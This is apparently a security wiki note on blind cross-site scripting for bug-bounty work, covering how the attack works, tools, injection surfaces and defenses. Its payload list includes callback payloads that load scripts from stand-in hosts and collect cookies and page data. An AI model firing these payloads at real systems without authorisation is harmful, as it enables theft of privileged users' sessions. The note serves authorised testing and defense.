# Blind XSS
> Stored XSS whose payload executes in a context the attacker never sees — typically an internal tool (support desk, admin panel, log/analytics viewer, moderation queue) — confirmed only by an out-of-band callback when a privileged user triggers it.
## How it works
A variant of [[Stored XSS]] where the sink is an interface outside the attacker's reach, so `alert(1)` proves nothing. Detection requires a payload that phones home on execution: it loads a remote script/image and reports the firing, so you learn *when, where and in whose session* it ran. Because these sinks are internal, they often skip the output encoding applied to public-facing views, and the viewer is frequently high-privilege — making blind XSS one of the higher-paying classes (internal-system access that's otherwise unreachable).
## Techniques / payloads
- Callback payloads (not `alert`): `"><script src=//YOURID.xss.ht></script>`, `<img src=x onerror=import('//bxss.example')>`, `<svg/onload=import(...)>`, autofocus-input and `javascript:`-href variants, plus a `<base>` tag for some CSP situations. Collected data: DOM, cookies, URL, user-agent, screenshot.
- Tooling hosts the probe and alerts on fire: **XSS Hunter** / XSS Hunter Express (self-hosted, Dockerized, Let's Encrypt TLS, email/Slack/Discord alerts, correlated injections, secondary-payload loading), **ezXSS**, bxsshunter.
- Injection surfaces (where internal eyes land):
- Feedback / contact / support-ticket forms (reviewed by staff dashboards).
- Request headers parsed by analytics/log pipelines — `User-Agent`, `Referer` (set a proxy match-and-replace to spray automatically).
- No-results search queries logged for SEO; error/exception paths logged to dev consoles.
- Order/shipping/address fields processed by back-office tools.
- Account fields (name, company) surfaced in admin user views.
- Patience + propagation: one profile change can fan out to multiple internal systems, each a separate fire and report. Respect program rules on contact/feedback-form spam.
## Notable cases
- **StealC malware admin panel (v2.0)** — persistent XSS let researchers infiltrate the C2, exfiltrating operators' session cookies and system fingerprints and observing live stolen-data sessions; shows the internal-viewer model applies even to criminal infra.
- Classic blind-XSS targets in the notes: stored XSS in **medical reports** and in **event email templates** — payloads rendered later in staff/recipient contexts rather than the submitter's own view.
## Defenses
- Apply the same contextual output encoding to internal tools, dashboards and log viewers as to public pages — they are not a trust boundary.
- Render logs/analytics as text, never HTML; sanitize header-derived values before display.
- [[Content Security Policy]] on admin interfaces to blunt a fired payload; `HttpOnly` cookies.
- Egress controls on internal tooling reduce the value of a callback/exfil channel.
## Related
- [[Cross-Site Scripting]] · [[Stored XSS]] · [[Content Security Policy]] · [[Account Takeover]]
## Sources
- [[raw/bugcrowd.com/the-guide-to-blind-xss-advanced-techniques-for-bug-bounty-hunters-3088|The Guide to Blind XSS]]
- [[raw/intigriti.com/hunting-for-blind-xss-vulnerabilities-a-complete-guide-3087|Hunting for Blind XSS Vulnerabilities]]
- [[raw/infosecwriteups.com/mastering-blind-xss-real-world-techniques-for-high-bounties-3086|Mastering Blind XSS]]
- [[raw/blog.intigriti.com/hacker-tools-how-to-set-up-xsshunter-5060|How to set up XSSHunter]]
- [[raw/github.com/mandatoryprogrammer-xsshunter-express-an-easy-to-setup-version-of-xss-2034|xsshunter-express]]
- [[raw/github.com/ssl-ezxss-ezxss-is-an-easy-way-for-penetration-testers-and-bug-bounty-252|ezXSS]]
- [[raw/rescana.com/critical-xss-vulnerability-in-stealc-malware-admin-panel-allows-resear-2543|XSS in StealC Malware Admin Panel]]